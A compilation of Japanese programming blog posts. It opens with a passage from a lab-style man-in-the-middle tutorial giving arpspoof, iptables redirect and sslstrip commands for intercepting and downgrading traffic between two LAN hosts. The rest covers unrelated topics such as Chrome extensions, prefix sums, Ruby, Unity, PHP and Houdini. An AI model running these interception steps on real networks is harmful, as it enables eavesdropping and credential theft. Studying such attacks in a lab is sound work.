## 3. ARPテーブル書き換え
NICを wlan0 に指定して，192.168.100.123 のARPテーブルにある 192.168.100.124 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

```
sudo arpspoof -i wlan0 -t 192.168.100.123 192.168.100.124
```

![](https://i.imgur.com/ySPobm1.png)

NICを wlan0 に指定して，192.168.100.124 のARPテーブルにある 192.168.100.123 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

```
sudo arpspoof -i wlan0 -t 192.168.100.124 192.168.100.123
```

![](https://i.imgur.com/DQovyLF.png)

注意：送信と受信両方が攻撃者PCを経由して通信するようにする為，別ターミナルで2回実行する必要がある！

## 4. パケットキャプチャ

```
wireshark
```

![](https://i.imgur.com/tCyP6fK.png)

## 5. sslストリップ

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

```
sslstrip -l 8080
```

```
cat sslstrip.log
```

![](https://i.imgur.com/l9UnI27.png)

## 6. 参考文献
https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96
https://www.slideshare.net/sonickun/arp-39782351
https://network-beginner.xyz/sslstrip
https://tutorialmore.com/questions-594005.htm
https://netwiz.jp/arp-spoofing/
https://www.atmarkit.co.jp/ait/articles/0305/09/news003_3.html
https://milestone-of-se.nesuke.com/nw-basic/ethernet/gratuitous-arp/
https://network-beginner.xyz/dns_spoof
chrome.runtime.onMessageでreturn trueしたけどundefinedが返ってきた

#最初に

タイトルの通り、内部メッセージの送受信でundefinedが返ってきたので記事に残しておきます。

なぜreturn trueが必要か分からない方は下記記事を参照してください。


https://qiita.com/Tachibana446/items/ab15021099d54d1209c2

#本題

undefinedが返ってきた記述

```javascript:background.js
chrome.runtime.onMessage.addListener( async (message, sender, sendResponse) => {
	const result = await promisefunc( message );
	sendResponse( result );
	return true;
});
```

求める結果が返ってきた記述

```javascript:background.js
chrome.runtime.onMessage.addListener( (message, sender, sendResponse) => {
	promisefunc( message )
	.then( result => {
		sendResponse( result );
	});
	return true;
});
```


両者の違いは、async/awaitかthen()のどちらで処理しているかです。

ここで下記記事を見てみると…

https://developer.mozilla.org/ja/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage#addListener_%E3%81%AE%E6%A7%8B%E6%96%87

> addListener を次のような async 関数を使って実行しないでください。

> このようなリスナーは全ての受け取ったメッセージを消費するため、実際には他のリスナーがメッセージを受信したり処理することを妨げてしまいます。

注意書きで、このように記述されています。

という訳で、onMessageのcallback関数をasync関数にしたのが原因でした。




#最後に

自分の失敗を書き綴るのは恥ずかしいものですね…

#追加：どうしてもasync/awaitを使いたい時
わざわざ載せる程の事でもないけど一応

```javascript:background.js
const func = async (message, sender, sendResponse) => {
	const result = await promisefunc(message);
	sendResponse( result );
};
chrome.runtime.onMessage.addListener( (message, sender, sendResponse) => {
	func(message, sender, sendResponse);
	return true;
});
```
javaでアルゴリズム入門 - 累積和

# 記事の概要
自分の勉強兼メモでまとめている記事シリーズです。第五弾。
今までの記事はこちら。

|#|記事|
|:-----------------:|:-----------------|
|4|[javaでアルゴリズム入門 - 探索編（bit全探索）](https://qiita.com/aja_min/items/2a94758cf58fc1ea6f65)|
|3|[javaでアルゴリズム入門 - 探索編（幅優先探索）](https://qiita.com/aja_min/items/5f25e73086b2f3c720bb)|
|2|[javaでアルゴリズム入門 - 探索編（深さ優先探索）](https://qiita.com/aja_min/items/fed640d6835eb343eedf)|
|1|[javaでアルゴリズム入門 - 探索編（全探索、二分探索）](https://qiita.com/aja_min/items/2dd5abba8ebb9f8977a5)|

今回の記事では

- **累積和**

について勉強します。
探索編はいったん終了し、別のアルゴリズム（毎週のコンテストで気になったものを）を勉強していきましょう。


## 累積和
計算のテクニック的なものらしいです。
配列のある区間の総和を求めるのに便利だそう。

参考：[累積和を何も考えずに書けるようにする！](https://qiita.com/drken/items/56a6b68edef8fc605821)

一応説明してみますね。

配列aを、{1,3,1,4,7,6,1,0,9}
だとしましょうか。
例えばこの配列の3番目から5番目までの総和を求めなさい、と言われたときを考えます。

### 通常の求め方

a：{1,3,**1,4,7**,6,1,0,9} の3~5番目を単純に足し算する。
答えは、1+4+7 = 12

### 累積和を使用

aの他に、aのi番目までの和を保存しておく配列bを作成する。
b：{0,1,4,5,9,16,22,23,23,32}
a_1をaの1個目の要素みたいな書き方をすると、
b_1 = 0（ここは固定。以降添字は一つずれる）
b_2 = a_1 = 1
b_3 = a_1 + a_2 = 1 + 3 = 4
b_4 = a_1 + a_2 + a_3 = 1 + 3 + 1 = 5
b_5 = a_1 + ... + a_4 = 1 + ... + 4 = 9
b_6 = a_1 + ... + a_5 = 1 + ... + 7 = 16
...

と言った感じです。
このとき、aの3~5番目の総和は次のように求められます。
`b_6 - b_3 = 16 - 4 = 12`

詳細は以下のとおりです。

```

  b_6 = a_1 + a_2 + a_3 + a_4 + a_5
-)b_3 = a_1 + a_2
--------------------------------------
      = a_3 + a_4 + a_5
```

なんとなくわかりますかね？
前から順番に総和を保存しておくことで、わざわざ3番目 + 4番目 + 5番目、みたいな足算をしなくてもよくなりました！

### 何が嬉しいのか？
例えば●番目から▲番目までの総和を何度も（●や▲のバリエーションがたくさんある問題を想定）求めなければならないとき、通常の求め方だと、何度も何度もloopを回す必要がありますが、累積和を用いると一発で（O(1)で）総和が求まります。

では問題をみてみましょう。

## 例題
例：[AtCoder - abc037-c「総和」](https://atcoder.jp/contests/abc037/tasks/abc037_c)

<details><summary>問題文・入力例などはここをクリックして表示<br />　※できるだけ問題リンクを参照してください</summary><div>

---
（セクション開始）
【問題文】
長さ N の数列 {ai} と1 以上 N 以下の整数 K が与えられます。 この数列には長さ K の連続する部分列が N−K+1 個あります。これらのそれぞれ部分列に含まれる値の合計の総和を求めてください。

【制約】
入力はすべて整数
1≤K≤N≤10^5
0≤ai≤10^8

【入力】
入力は以下の形式で標準入力から与えられる。

```
N K
a1 .. aN
```

【出力】
部分列に含まれる値の合計 N−K+1 個の総和を出力せよ。

（セクション終了）

---

</div></details>

こんな問題です。
まさに累積和の問題ですね。
K個の足し算をN−K+1回やらなくてはなりません。計算量はO(K * (N-K+1))です。さらに、選び方が悪いと（K = N/2 など）、O(N^2)かかってしまうことがわかります。これでは間に合いません。ということで累積和の出番です。
「K個の足し算をN-K+1回」ですが、累積和を用いれば「K個の足し算」はすべてO(1)で可能となりますので、計算量は大体O(N)で済みます。

方針は以下のとおりです。

- 累積和を保持しておく配列を準備する
- 1~K,2~K+1,3~K+2,...,N-K+1~N のそれぞれの総和を累積和の配列によって求め、最後にその総和を答えとする。

では、以下回答例です。

``` java:Main.java

import java.util.Scanner;

public class Main {
	public static void main(String[] args) {
		Scanner sc = new Scanner(System.in);

		int n = sc.nextInt();
		int k = sc.nextInt();

		long a[] = new long[n]; // 入力を受け取る配列
		long b[] = new long[n + 1]; // 累積和を格納

		for (int i = 0; i < n; i++) {
			// 入力受け取り
			a[i] = sc.nextLong();
		}

		for (int i = 1; i <= n; i++) {
			// 累積和計算
			b[i] = b[i - 1] + a[i - 1];
		}

		long ans = 0; // 答え格納
		for (int i = 0; i < n - k + 1; i++) {
			ans += b[i + k] - b[i];
		}

		System.out.println(ans);
	}
}

```

・・・う〜ん、添字のところ難しかった。。
特に累積和の一番最初は0にしないといけないのむずいな・・・。

ちょっと練習あるのみですかね。概念とか考え方自体は知れたのでよかったです。
とりあえずここまでにします。それでは〜。
【Ruby】vendor/bundleにgemがインストールされたはずなのに、requireでエラー

#経緯
スクレイピングについて少し学習しようと思い、
[Rubyを使って20分でスクレイピングの大元を作る](https://qiita.com/Coolucky/items/5d8e49f2c52c99c7d3c2)を参考に実装。
「Gemはvendor/bundle配下にインストールするようにします。」とあるので、
指示通りbundle installするときに `--path vendor/bundle` のオプションを追加。

#エラー発生
記事の通りのcodeをmain.rbに書き込み、main.rbを実行すると、

```
training $ ruby main.rb 
Traceback (most recent call last):
	2: from main.rb:2:in `<main>'
	1: from /Users/yusaku/.rbenv/versions/2.6.0/lib/ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:in `require'
/Users/yusaku/.rbenv/versions/2.6.0/lib/ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:in `require': cannot load such file -- nokogiri (LoadError)
```

 ` 'require': cannot load such file -- nokogiri (LoadError)` と書かれているが、
nokogiriは`vender/bundle` 配下にbundle install済みである。

```
training $ ls vendor/bundle/ruby/2.6.0/gems/
byebug-11.1.3		method_source-1.0.0	nokogiri-1.10.10	pry-byebug-3.9.0
coderay-1.1.3		mini_portile2-2.4.0	pry-0.13.1
```

# 解決
エラーの内容をよくみて見ると、
`/Users/yusaku/.rbenv/` 配下を探しに行っているように見える。
それでハッとしたのだが、bundle execをしていなかった。

```
training $ bundle exec ruby main.rb
```

これでエラーも発生せず、main.rbが実行できた(require "nokogiri"もできた)。
`bundle exec`をすることによって、同一ディレクトリ配下でgemを探してくれたように見える。
Unity + Epic Online Services でオンラインゲームを作ろう ～②マルチFPS編～

## 概要
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Multiplay FPS Update <a href="https://twitter.com/hashtag/Unity?src=hash&amp;ref_src=twsrc%5Etfw">#Unity</a> <a href="https://twitter.com/hashtag/EpicOnlineServices?src=hash&amp;ref_src=twsrc%5Etfw">#EpicOnlineServices</a> <a href="https://t.co/aZC45LQwF3">pic.twitter.com/aZC45LQwF3</a></p>&mdash; オカ (@okagamedev) <a href="https://twitter.com/okagamedev/status/1286359940915818496?ref_src=twsrc%5Etfw">July 23, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
Github：[unity_eos_fps](https://github.com/okamototomoyuki/unity_eos_fps)
Unity + Epic Online Services(以下 EOS) でマルチプレイ FPS を作ってみました。
[前回](https://qiita.com/okatom/items/654c31eea7d4009a6a08)は「ゲームを作ろう」というタイトルなのに成果物がチャットでしたが、今回は正真正銘のゲームです。

## 残念：ゲーム公開ができない
ネット上の多数の方にプレイしてもらいたく開発していたのですが、
「さぁ公開だ」となったタイミングで気づきました。
**Epic Online Services のゲームの公開はまだ許可されていません。**
公開用のための審査提出ボタンが「COMMING SOON」となっています。
そのため、開発チーム以外のアカウントでゲームにログインするとはじかれます。
![Edp37coUYAAqOrP.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/671642/466f34d8-e880-895d-9a6f-406e362add26.png)
・・・

残念ですが現在はみんなでプレイができず、ビルドしてローカルでテストしかできません。
また進展があったら報告します。😢


## ロビー検索のバグの対処
前回と同じく 7/23 現在 EOS のロビー検索はまだバグで動きません。
[バグ報告したスレッド](https://eoshelp.epicgames.com/s/question/0D52L00004XsLS2SAN/update-unity-lobbysearchfind-result-is-unrecognizedresponse?language=en_US) の情報提供によると内部で通信エラーが発生しているようです。
同じロビーにいないと P2P 通信が始められないため、
対処として Glitch で簡易ロビー検索サーバーを作りました。
ロビーID を保持・配信するだけの API です
Glitch : [eos-lobby](https://glitch.com/~eos-lobby)

## コードの工夫
SDK の呼び出しはコード量が増える一方だったので、拡張メソッドをどんどん書いて整理しました。

EOS の C# SDK は C++ SDK と書き方を統一するためか、インターフェースのメソッドは下記のようになってます。 

* 引数に直接値を書かず、データ受け渡し用クラスのインスタンスで渡す ⇒　インスタンスを new する記述が増える
* 戻り値は処理結果(Result)の Enum ⇒　呼び出すたびに処理が成功したか判定する必要がある
* 処理結果はコールバックで返ってくる　⇒　ネストがどんどん深くなる

なので下記のような拡張メソッドを EOS の使用するメソッド分、追加してます。

* 引数だけで呼び出せるように置き換え
* 戻り値を UniTask にしてコールバックを async で受け取る

## ビルド
### 著者環境
OS : Windows 10 Pro
Unity : Unity 2020.1.0f1

### 1. Github からプロジェクトチェックアウト

### 2. Epic Online Services デベロッパーポータルで登録
1. 新しいプロダクト作成
2. Epic Account Services で 3 項目を全て入力して、Configured にする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/671642/07e2d16a-b588-0f5d-676c-a3e619e2d957.png)
3. Product Settings の内容を Unity でプロジェクトを開いて
     Assets/ScriptableObjects/EOSSettings.asset に記載

### 3. Glitch でサーバー作成
1. [eos-lobby](https://glitch.com/~eos-lobby) を開いて View Sorce -> Remix Edit で自身のアカウントにクローン
2. .env にシークレットのキーと値を設定して
  * Variable Name：SECRET
  * Valiable Value：適当な文字列
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/671642/809d0a83-2bfb-f3ec-9200-1b2817e1f122.png)
3. Unity プロジェクトの Assets/ScriptableObjects/EOSSettings.asset に記載
  * **Api Url :** https://【クローン後のプロジェクト名】.glitch.me/kvs
  * **Api Securet :** .env の SECRET に設定した文字列
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/671642/61ca5503-6212-88be-e355-54af019adbdb.png)


### 4. Unity ビルド
Windows Standalone でビルド

## 終わりに
公開できないのは残念です。
EOS は正式リリースされているかのように宣伝されているので、
私のように勘違いして開発している人いそうです。
ロビー検索が動かない件も含めて、公式には早急に対応していただきたいです。
「RSpecが動かない！」原因はspringだったので調べてみた

あるアプリケーションでRSpecを導入し、いざテストコードを実行したらエラーが出てしまった。
何度見直しても設定や記述に問題はないはずなのに、なぜ動かないのか。。

**原因は「spring」というgemでした。**
下記のコマンドをアプリのディレクトリで入力し、再度テストコードを実行すると正常に作動しました。良かった。

```
mac@ myApp % spring stop
Spring stopped.　←この表記が出ればOK
```
ちなみにこのspringはrailsコマンドを入力すると自動で再始動しますのでご安心を。

###このspringというのは何者？
簡単に言えば、railsのキャッシュみたいなものです。
rails newした際に、Gemfileにデフォルトで導入されています。

今回の場合だと、RSpecの導入をする前のキャッシュがたまたま残っており、
その状態でテストコードを実行すると「RSpecなんて使えないよ」っていうエラーが出てしまったようですね。

ちなみにspringの状態を確認するためにはこんな感じで確認できます。

```
mac@ myApp % spring status
Spring is running:

97404 spring server | myApp | started 10 secs ago   
97405 spring app    | myApp | started 10 secs ago | development mode   
```
<br>

`spring stop`→`rails c`→`exit`→`spring status`の順番で入力するとこのようになります。

```
mac@ myApp % spring stop
Spring stopped.　

mac@ myApp % rails c
Running via Spring preloader in process 97418
Loading development environment (Rails 6.0.3.2)
irb(main):001:0> exit

mac@ myApp % spring status
Spring is running:

97404 spring server | myApp | started 10 secs ago   
97405 spring app    | myApp | started 10 secs ago | development mode
```

<br>
ちなみに下記のコマンドではPC内で稼働してるspringを全て確認できます。

```
mac@ ps aux | grep spring
mac        97139 101.0  0.5  4370124  43216   ??  Rs    2:24AM   0:00.73 spring app    | myApp3 | started 0 secs ago | development mode      
mac        97106   0.2  0.3  4352516  24104 s002  S     2:24AM   0:00.42 spring server | myApp3 | started 39 secs ago   
mac        96929   0.0  1.2  4462288 100216   ??  Ss    2:20AM   0:03.23 spring app    | myApp2 | started 4 mins ago | development mode      
mac        77394   0.0  0.1  4352516   8816   ??  S     05PM     0:01.03 spring server | myApp2 | started 56 hours ago   
mac         4764   0.0  0.0  4486444    472   ??  Ss    5 720    1:18.61 spring app    | myApp1 | started 439 hours ago | development mode      
mac         4760   0.0  0.0  4351492    432   ??  S     5 720    0:01.58 spring server | myApp1 | started 439 hours ago   
mac        97142   0.0  0.0  4276476    696 s002  S+    2:24AM   0:00.00 grep spring
```

killコマンドでもstopできるのかな、と思い実行してみましたがすぐ復活して止めることはできませんでした。
やはり該当のディレクトリに移動し、素直に`spring stop`した方が良さそうです。
Cloud Shell (GCP) は、かなり便利。

# Cloud Shell (GCP) ※AWSでも利用出来るようになりました。

一般的に、クラウドのWEBコンソールはGUI操作で、リソースの作成、変更、削除を実施します。GCPの場合、GUI操作に加えて、WEBコンソールから直接CLI操作も可能です。
※ WEBコンソールから直接操作可能な作業端末(Ubuntu)が無料で付いています。

サーバを大量に作成する場合、コマンド操作の方が楽な場合が多いですが、コマンド実行用の端末は、別途事前に準備する必要があります。
この準備が、なかなか面倒な場合もあります。
GCPの場合、セットアップ不要で、CLI操作が即開始できます。


## 便利なところ 

・主要な言語はプレインストール済み。追加インストールも可能
・WEBブラウザから直接、コマンド操作が出来る
・IDE環境がついてくる
  https://ssh.cloud.google.com/cloudshell/editor
   ↑見た目もVSCODEぽくなり、かなり機能も充実してきました。
・WEBプレビュー画面

WEBコンソールから直接CLI操作が出来るのは、今のところ、GCPだけです。
個人的には、とても気に入っている機能です。
isucon9 の portal を Amazon Linux2 で動かすメモ

MEMO: 必要あれば ports を適宜変更すること

```bash

sudo yum -y update
sudo timedatectl set-timezone Asia/Tokyo
sudo yum -y install docker
sudo systemctl start docker
sudo systemctl enable docker

sudo curl -L "https://github.com/docker/compose/releases/download/1.26.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

sudo yum -y install git

sudo reboot

git clone git@github.com:chibiegg/isucon9-portal.git
cd isucon9-portal

docker-compose build
docker-compose up

docker-compose exec discard_forever python manage.py manufacture -t 300
```
PHP calコマンドっぽいカレンダーを1行で

とりあえず、直にcalコマンドを実行する方向は無しで頑張ってみました。

```php:cal.php
<?=str_pad(($d=new DateTime)->setDate($argv[2]??$d->format('Y'),$argv[1]??$d->format('m'),1)->format('F Y'),20,' ',2)."\nSu Mo Tu We Th Fr Sa\n".preg_replace('/(.{1,21})/',"$1\n",str_repeat('   ',$d->format('w')).sprintf(str_repeat('%2d ',$d->format('t')),...range(1,31)));
```

```plain:
$ php cal.php
     July 2020
Su Mo Tu We Th Fr Sa
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
$ php cal.php 2
   February 2020
Su Mo Tu We Th Fr Sa
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
$ php cal.php 2 1999
   February 1999
Su Mo Tu We Th Fr Sa
    1  2  3  4  5  6
 7  8  9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28
```

まとめて1年分表示など色々再現できていませんが…

#### 2020/7/25 追記

ちょっと長めですが、当日ハイライト表示対応版

```php:cal.php
<?=str_pad($a=($d=new DateTime)->setDate([[$j,$b,$y,$m]=explode(',',$d->format('j,F Y,Y,m')),$argv[2]??$y][1],$argv[1]??$m,1)->format('F Y'),20,' ',2)."\nSu Mo Tu We Th Fr Sa\n".preg_replace("/(^|\D)( ?$j)(\D)/",$b==$a?"$1\e[7m$2\e[m$3":"$0",preg_replace('/(.{1,21})/',"$1\n",str_repeat('   ',$d->format('w')).sprintf(str_repeat('%2d ',$d->format('t')),...range(1,31))));
```

![0000.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/618708/5018ecff-4bb4-6e0b-1138-5ca831c09d2f.jpeg)
PHPのtry ~ catchで、Fatalエラーをcatchしたい場合は、ExceptionでなくThrowableを利用する

# 環境
PHP 7.4.0 CLI

`Throwable`は、PHP5系では利用できないとのこと

# 発生した問題
稼働しているアプリのログにたまにFatalエラーが記録されている。
原因を探るため、Fatalエラーが発生した場合に`try~catch`でデバッグ用の処理を実行し、怪しい変数を`var_dump()`してエラーログに吐きたい。
`try~catch`でエラーハンドリングするようにしたが、以前同じFatalエラーが出力され、エラーハンドリングできていないようにみえる。

# 解決策
`\Exception`ではなく、`\Throwable`を利用する。
https://stackoverflow.com/questions/12928487/php-try-catch-and-fatal-error
https://www.php.net/manual/en/class.throwable.php

# エラーは基本的に握りつぶさず、修正すべき
Exception、Fatalエラーを全部補足できる`\Throwable`は便利だと感じましたが、

> Error はアプリケーションのロジック中で発生させたり、捕捉したりしてはいけません。これは、言語上とても基本的な何かが間違っているという問題をプログラマーに教えるためにあります。なので、迂闊な例外処理に紛れてしまわないようになっています。
https://qiita.com/tanakahisateru/items/e3e24f3825c4ba0c60e6#error

とあるように、常用するものではないようです。

# 関連記事
https://qiita.com/hnw/items/4e2d47d269a26025a726
https://qiita.com/jonsumisu/items/54a95d848f2dcf9cfde4
https://qiita.com/mpyw/items/c69da9589e72ceac470c
https://qiita.com/tanakahisateru/items/e3e24f3825c4ba0c60e6

# あとがき
今回、cronでTwitterAPIを1分ごとに叩く処理だったんですが、RateLimitに引っかかった際のレスポンスを想定していなかったため、数十分に一度エラーが発生するという状況になっていました。
Throwableでエラーをcatchしてレスポンスの内容を`var_dump()`することで、レスポンスの内容を確認することができました。
Git  公式マニュアル


# HEADって何？　reset て何？

分からないことがある度、Googleで検索するものの、なかなかピッタリのサイトが見つからない事が多い。公式マニュアルは難しと思い敬遠していましたが、意外と分かりやすく、びっくりしたので、興味のある方は是非、ご覧になってください。
https://git-scm.com/book/ja/v2
Houdiniで水のシミュレーションのセットアップ

#記事の概要
houdiniで水のシミュレーションを行う時のセットアップ方法についてのメモ。
以下の動画を参考にしてます。
https://www.youtube.com/watch?v=z2hrXBEgN7c

自分用なので、殴り書きです。

ノードの全体像はこんな感じ。
![10ac72e3d68d13e61ffbbf70d431d025.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/502817/e268f9ab-80e1-f142-ca97-b5c74bae340d.png)


##1.FLIPSourceを作成する
  
FLIP Sourceノードで、ジオメトリをシミュレーションで制御可能なボリュームに変換する。

![ec14cf9cd658d70c1785c9482709e352.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/502817/d65c9df6-8a81-cff8-b57d-55dfb0892e3f.png)

flipsourceノードのinitializeは、Source FLIPにする。


##2.適当にコリジョン対象を用意しておく

今回はrubber toyをコライダーとして用意してます。

##3.dop netでシミュレーションを行う

dop net内はこんな感じ。
![cc6133a421911aa31def370ab28190d0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/502817/836b41d9-51ef-7d4c-9104-bf58828b1b10.png)

flip objectノードのデフォルトのソースは削除。
volumesourceで先ほど用意したOUT_Flipを読み込みます。

それぞれをFlipSolverに入力します。

##4.水をジオメトリに変換

水をジオメトリに変換する。

![5fb186bc7e8cc19789adf02d45cb2e0e.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/502817/b3b05fd2-d434-61af-7fe5-b1a193515b7b.png)

Dop Importで水だけを読み込む。
Import StyleをFetch Geometry from DOP Networkにし、
Object Maskを"flip*"にし、水だけを読み込む。

![ef33fba9a485a1124cdf24357fce0fd0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/502817/5dfeea09-0418-39a8-e06e-2a2fae14003e.png)


Particle Fluid Surfaceでジオメトリに変換し、normalを整える。
最後にコライダーとマージする。
ファイルサーバの空き容量をコマンドラインで取得する

ファイルサーバのようなリモートホストの空き容量を調べる方法を検討しました。

以下の記事では `Get-Volume` を使用する方法が紹介されていますが、WinRM が無効であったり Firewall が邪魔している場合には利用できません。

[PowerShellを使ってシステムのディスクサイズや空き領域サイズなどをリモートから調査する：Tech TIPS - ＠IT](https://www.atmarkit.co.jp/ait/articles/1808/03/news031.html)

そこで、以前記事にしたローカルホストの空き容量を調べる方法を応用します。

[雑にディスク空き容量を監視する - Qiita](https://qiita.com/asterisk9101/items/87a744c8085a823e01c1)

リモートホストの空き容量を調べるためには以下のようにします。

```powershell

cmd /c dir \\COMPUTERNAME\ROOT `
    | select-object -last 1 `
    | foreach-object { $_ -replace ',' -split '\s+' } `
    | select-object -index 3

```

複数のドライブを調べる必要がある場合は関数にすると便利だと思います。

```powershell
Function Get-Capacity {
    Param(
        [Parameter(ValueFromPipeline=$True)]
        [string[]]$ComputerName = "localhost",
        [string]$Root = "C$",
        [Int64]$Threshold = 1GB,
        [switch]$HumanReadable
    )
    process {
        foreach($CN in $ComputerName) {
            $size = cmd /c dir \\$CN\$Root `
                | Select-Object -Last 1 `
                | ForEach-Object { $_ -replace ',' -split '\s+' } `
                | Select-Object -Index 3

            if ($HumanReadable) {
                $viewSize = "{0} GB" -f ([Math]::Round($size / 1024 /1024 /1024 , 1))
            } else {
                $viewSize = $size
            }

            if ($size -lt $Threshold) {
                "{0} {1}`t{2}" -f "*", $CN, $viewSize
            } else {
                "{0} {1}`t{2}" -f "-", $CN, $viewSize
            }
        }
    }
}
```
【JavaScript】半角カタカナ⇒全角カタカナの変換

#最初に

タイトル通り、半角カタカナを全角カタカナへ変換します。

今更な内容ですが自分が採用している書き方を載せます。
~~どちらかといえば長文の文字列向け？~~

短い文字列でも遅くなりすぎるという事はないと思います。



#１．String.prototypeを拡張

```javascript
if(!String.prototype.toZenKata) {
	String.prototype.toZenKata = function () {
		//muddy
		var dm = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴヷヺ';
		var sm = 'ｶﾞｷﾞｸﾞｹﾞｺﾞｻﾞｼﾞｽﾞｾﾞｿﾞﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞﾊﾞﾋﾞﾌﾞﾍﾞﾎﾞﾊﾟﾋﾟﾌﾟﾍﾟﾎﾟｳﾞﾜﾞｦﾞ';
		//kiyone
		var dk = 'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホ'
				+'マミムメモヤユヨラリルレロワヲンァィゥェォッャュョ。、ー「」・';
		var sk = 'ｱｲｳｴｵｶｷｸｹｺｻｼｽｾｿﾀﾁﾂﾃﾄﾅﾆﾇﾈﾉﾊﾋﾌﾍﾎﾏﾐﾑﾒﾓﾔﾕﾖﾗﾘﾙﾚﾛﾜｦﾝｧｨｩｪｫｯｬｭｮ｡､ｰ｢｣･';
		
		var str = this;
		for (var i=0,len=dm.length; i<len; i++) {
			str = str.split( sm.slice(i*2, i*2+2) ).join( dm.slice(i, i+1) );
		}
		for (var i=0,len=dk.length; i<len; i++) {
			str = str.split( sk.slice(i, i+1) ).join( dk.slice(i, i+1) );
		}
		return str;
	};
}

const text = 'ﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞ';
console.log( text.toZenKata() );	//result => ダヂヅデドダヂヅデドダヂヅデド
```



#２．普通に関数で

```javascript
//muddy
const D_MUD = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴヷヺ';
const S_MUD = 'ｶﾞｷﾞｸﾞｹﾞｺﾞｻﾞｼﾞｽﾞｾﾞｿﾞﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞﾊﾞﾋﾞﾌﾞﾍﾞﾎﾞﾊﾟﾋﾟﾌﾟﾍﾟﾎﾟｳﾞﾜﾞｦﾞ';
//kiyone
const D_KIY = 'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホ'
			+'マミムメモヤユヨラリルレロワヲンァィゥェォッャュョ。、ー「」・';
const S_KIY = 'ｱｲｳｴｵｶｷｸｹｺｻｼｽｾｿﾀﾁﾂﾃﾄﾅﾆﾇﾈﾉﾊﾋﾌﾍﾎﾏﾐﾑﾒﾓﾔﾕﾖﾗﾘﾙﾚﾛﾜｦﾝｧｨｩｪｫｯｬｭｮ｡､ｰ｢｣･';
	
const toZenKata = str => {
	for (let i=0,len=D_MUD.length; i<len; i++) {
		str = str.split( S_MUD.slice(i*2, i*2+2) ).join( D_MUD.slice(i, i+1) );
	}
	for (let i=0,len=D_KIY.length; i<len; i++) {
		str = str.split( S_KIY.slice(i, i+1) ).join( D_KIY.slice(i, i+1) );
	}
	return str;
};

const text = 'ﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞﾀﾞﾁﾞﾂﾞﾃﾞﾄﾞ';
console.log( toZenKata( text ) );	//result => ダヂヅデドダヂヅデドダヂヅデド
```
1と違い一部外に置いたのは、どちらに置くのがベストか私がいまいち理解できてないからです。


#最後に

長い文字列を扱うケースはあまりないかもしれませんね…
遺伝的アルゴリズム 情報リソース

# 書籍

* [メタヒューリスティクスの数理](https://www.kyoritsu-pub.co.jp/bookdetail/9784320122352) : Pythonコードあり。多目的GAなし
* [メタヒューリスティクスと応用](https://www.ohmsha.co.jp/book/9784886862617) : 480頁。
* [実践 遺伝的アルゴリズム](https://www.oreilly.co.jp/books/9784873117072) : 多目的GAあり。Javaコード

# ツール

Platypus : NSGAIIによる多目的GA

* https://platypus.readthedocs.io/en/latest/getting-started.html

DEAP

* https://github.com/lmarti/evolutionary-computation-course/blob/master/AEC.06%20-%20Evolutionary%20Multi-Objective%20Optimization.ipynb

# 論文

A fast and elitist multiobjective genetic algorithm: NSGA-II（2005）

https://ieeexplore.ieee.org/abstract/document/996017

> Multi-objective evolutionary algorithms (MOEAs) that use non-dominated sorting and sharing have been criticized mainly for: (1) their O(MN/sup 3/) computational complexity (where M is the number of objectives and N is the population size); (2) their non-elitism approach; and (3) the need to specify a sharing parameter. In this paper, we suggest a non-dominated sorting-based MOEA, called NSGA-II (Non-dominated Sorting Genetic Algorithm II), which alleviates all of the above three difficulties. Specifically, a fast non-dominated sorting approach with O(MN/sup 2/) computational complexity is presented. Also, a selection operator is presented that creates a mating pool by combining the parent and offspring populations and selecting the best N solutions (with respect to fitness and spread). Simulation results on difficult test problems show that NSGA-II is able, for most problems, to find a much better spread of solutions and better convergence near the true Pareto-optimal front compared to the Pareto-archived evolution strategy and the strength-Pareto evolutionary algorithm - two other elitist MOEAs that pay special attention to creating a diverse Pareto-optimal front. Moreover, we modify the definition of dominance in order to solve constrained multi-objective problems efficiently. Simulation results of the constrained NSGA-II on a number of test problems, including a five-objective, seven-constraint nonlinear problem, are compared with another constrained multi-objective optimizer, and the much better performance of NSGA-II is observed.